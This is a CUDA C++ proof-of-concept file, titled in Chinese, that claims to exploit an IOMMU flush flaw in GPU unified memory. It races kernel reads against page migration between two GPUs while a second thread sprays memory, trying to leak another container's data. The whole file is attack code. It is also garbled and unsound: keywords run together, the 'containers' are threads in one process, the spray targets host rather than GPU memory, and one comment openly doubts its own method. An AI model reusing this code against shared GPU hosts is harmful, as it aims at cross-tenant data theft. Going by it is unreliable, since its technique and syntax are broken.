GPU 虚拟地址投毒

// gpu_poison.cu — GPU 统一内存 IOMMU 刷新缺陷验证
#include<cuda_runtime.h>
#include<iostream>
#include<cstring>
#include<thread>
#include<chrono>

#define CHECK(call) do { \
    cudaError_t err = call; \
if (err != cudaSuccess) { \
        std::cerr << "CUDA error at " << __FILE__ << ":" << __LINE__ << " " \
                  << cudaGetErrorString(err) << std::endl; \
        exit(1); \
    } \
} while(0)

// 在 GPU 0 上执行读取统一内存的 kernel
__global__ voidread_kernel(constint* data, int* output, size_t n){
int idx = blockIdx.x * blockDim.x + threadIdx.x;
if (idx < n) {
        output[idx] = data[idx];
    }
}

// 容器 A：管理诱饵页面
voidcontainerA(int iterations){
constsize_t PAGE_SIZE = 2 * 1024 * 1024; // 2 MB
constsize_t ELEMENTS = PAGE_SIZE / sizeof(int);
int *unified_ptr = nullptr;
int *output_host = newint[ELEMENTS];
int *output_dev = nullptr;

// 分配统一内存，初始亲和性在 CPU
    CHECK(cudaMallocManaged(&unified_ptr, PAGE_SIZE));
// 初始化敏感数据
for (size_t i = 0; i < ELEMENTS; ++i) {
        unified_ptr[i] = 0xDEADBEEF;
    }

    CHECK(cudaMalloc(&output_dev, PAGE_SIZE));

for (int iter = 0; iter < iterations; ++iter) {
// 将页面预取到 GPU 0
        CHECK(cudaMemPrefetchAsync(unified_ptr, PAGE_SIZE, 0, 0));
        CHECK(cudaDeviceSynchronize());

// 触发 GPU 0 读取，确保数据在 GPU 0 本地
        read_kernel<<<256, 256>>>(unified_ptr, output_dev, ELEMENTS);
        CHECK(cudaDeviceSynchronize());

// 立即将页面迁移到 GPU 1
        CHECK(cudaMemPrefetchAsync(unified_ptr, PAGE_SIZE, 1, 0));
// 不等待同步，立即释放 GPU 0 端映射（通过下一次迁移或显式释放？）
// 此处制造竞争：在迁移尚未完全完成时，容器 A 的 GPU 0 再次尝试访问
// 通过另一个流发送读取 kernel
        cudaStream_t stream;
        CHECK(cudaStreamCreate(&stream));
        read_kernel<<<256, 256, 0, stream>>>(unified_ptr, output_dev, ELEMENTS);
// 不完全同步，让 kernel 在迁移过程中执行
        cudaStreamSynchronize(stream);
        cudaStreamDestroy(stream);

// 从 GPU 拷贝结果到主机，检查是否有异常值（不同于 0xDEADBEEF 或 0）
        CHECK(cudaMemcpy(output_host, output_dev, PAGE_SIZE, cudaMemcpyDeviceToHost));
for (size_t i = 0; i < ELEMENTS; ++i) {
if (output_host[i] != 0xDEADBEEF && output_host[i] != 0) {
std::cout << "[!] 数据泄露: 索引 " << i 
                          << " 期望 0xDEADBEEF, 读到 0x" << std::hex << output_host[i] << std::dec << std::endl;
            }
        }
    }

    cudaFree(unified_ptr);
    cudaFree(output_dev);
delete[] output_host;
}

// 容器 B：分配大量内存以占位释放的物理页
voidcontainerB(){
constsize_t ALLOC_SIZE = 256 * 1024 * 1024; // 256 MB
while (true) {
int* dump = newint[ALLOC_SIZE / sizeof(int)];
for (size_t i = 0; i < ALLOC_SIZE / sizeof(int); ++i) {
            dump[i] = 0xCAFEBABE; // 填充特征值
        }
std::this_thread::sleep_for(std::chrono::milliseconds(100));
delete[] dump;
    }
}

intmain(){
int deviceCount;
    cudaGetDeviceCount(&deviceCount);
if (deviceCount < 2) {
std::cerr << "需要至少两块 GPU。" << std::endl;
return1;
    }
// 启用 P2P 访问
for (int i = 0; i < deviceCount; ++i) {
        cudaSetDevice(i);
for (int j = 0; j < deviceCount; ++j) {
if (i == j) continue;
int canAccess = 0;
            cudaDeviceCanAccessPeer(&canAccess, i, j);
if (canAccess) {
                cudaDeviceEnablePeerAccess(j, 0);
            }
        }
    }

std::thread tA(containerA, 100);
std::thread tB(containerB);
    tA.join();
    tB.detach(); // 简单处理
std::cout << "测试完成。" << std::endl;
return0;
}